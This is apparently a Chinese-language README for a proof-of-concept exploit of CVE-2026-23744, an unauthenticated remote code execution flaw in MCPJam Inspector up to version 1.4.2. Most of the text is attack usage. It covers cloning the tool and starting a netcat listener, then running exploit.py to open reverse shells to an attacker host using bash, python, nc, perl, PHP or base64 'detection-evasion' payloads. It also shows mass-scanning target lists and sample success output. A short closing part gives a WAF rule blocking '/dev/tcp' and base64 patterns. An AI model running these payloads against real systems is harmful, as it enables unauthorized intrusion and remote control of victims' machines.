
CVE-2026-23744 的概念验证漏洞利用程序——MCPJam Inspector 远程代码执行(RCE)漏洞。该工具演示了版本 <=1.4.2 中的安全缺陷,并帮助安全研究人员验证补丁。仅用于授权测试和教育目的。包含多种载荷选项、命令执行和会话管理功能。
| 属性 | 详情 |
|---|
| CVE ID | CVE-2026-23744 |
| 漏洞类型 | 未认证远程代码执行 |
| 受影响版本 | <=1.4.2 |
| CVSS 评分 | 9.8(严重) |
| 攻击向量 | 网络 |

该利用工具提供了一套全面的功能,专为有效的安全测试而设计:
按以下步骤设置利用工具:
克隆仓库:
git clone https://github.com/CerberusMrXi/CVE-2026-23744-MCPJam-RCE-Exploit.git
cd CVE-2026-23744-MCPJam-RCE-Exploit
安装依赖:
pip install -r requirements.txt
要发起基本利用,首先设置监听器,然后运行利用脚本:
# 启动监听器
nc -lvnp 4444
# 运行利用
python exploit.py -u http://target-ip:8080 -l attacker-ip -p 4444
执行单个命令或从文件读取命令:
# 执行单个命令
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 -c "id; whoami"
# 从文件执行命令
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 -C commands.txt
根据不同场景使用多种载荷类型:
# Python 反弹 shell
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 -t python
# Netcat 反弹 shell
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 -t nc
# Base64 编码载荷
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 -t base64
扫描多个目标是否存在漏洞:
# 创建目标文件
echo "http://192.168.1.10:8080" > targets.txt
echo "http://192.168.1.11:8080" >> targets.txt
# 扫描易受攻击的目标
python exploit.py -f targets.txt -l 10.0.0.5 -p 4444 --scan
探索高级功能,如指纹识别、代理使用、详细模式及自动监听器设置:
# 带指纹识别
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 --fingerprint
# 带代理
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 --proxy http://127.0.0.1:8080
# 详细模式
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 -v
# 自动监听器
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 --listen
| 类型 | 命令 | 最佳适用 |
|---|---|---|
bash | Bash 反弹 shell | 大多数 Linux 系统 |
python | Python3 反弹 shell | 已安装 Python 的系统 |
nc | Netcat 反弹 shell | 具有 netcat 的系统 |
perl | Perl 反弹 shell | 已安装 Perl 的系统 |
php | PHP 反弹 shell | 已安装 PHP 的系统 |
base64 | Base64 编码 | 逃避检测 |
[+] Starting enhanced exploit against http://192.168.1.100:8080
[+] Reverse shell to 10.0.0.5:4444
[*] Session ID: AbCdEfGh
[*] Fingerprinting target...
[+] Target OS: Ubuntu
[+] Available capabilities: python3, perl, nc
[*] Executing exploit...
[+] Exploit successful!
[!] Check your netcat listener on 10.0.0.5:4444
为防范 CVE-2026-23744,必须立即采取以下措施:
/api/mcp/connect 的可疑 POST 请求。用于阻止常见恶意模式的 Nginx WAF 规则示例:
location /api/mcp/connect {
if ($request_body ~* "bash.*/dev/tcp") { return 403; }
if ($request_body ~* "base64.*-d") { return 403; }
proxy_pass http://backend;
}
问:使用此工具合法吗?
答:此工具仅适用于你拥有或已获得明确书面授权进行测试的系统。
问:哪些系统存在漏洞?
答:MCPJam Inspector 版本 <=1.4.2 存在漏洞。
问:如何保护我的系统?
答:立即将 MCPJam Inspector 升级至版本 >1.4.2。
Sudeepa Wanigarathna
未经授权使用此工具是违法的,可能导致严重后果,包括:
由 Sudeepa Wanigarathna 用 ❤️ 制作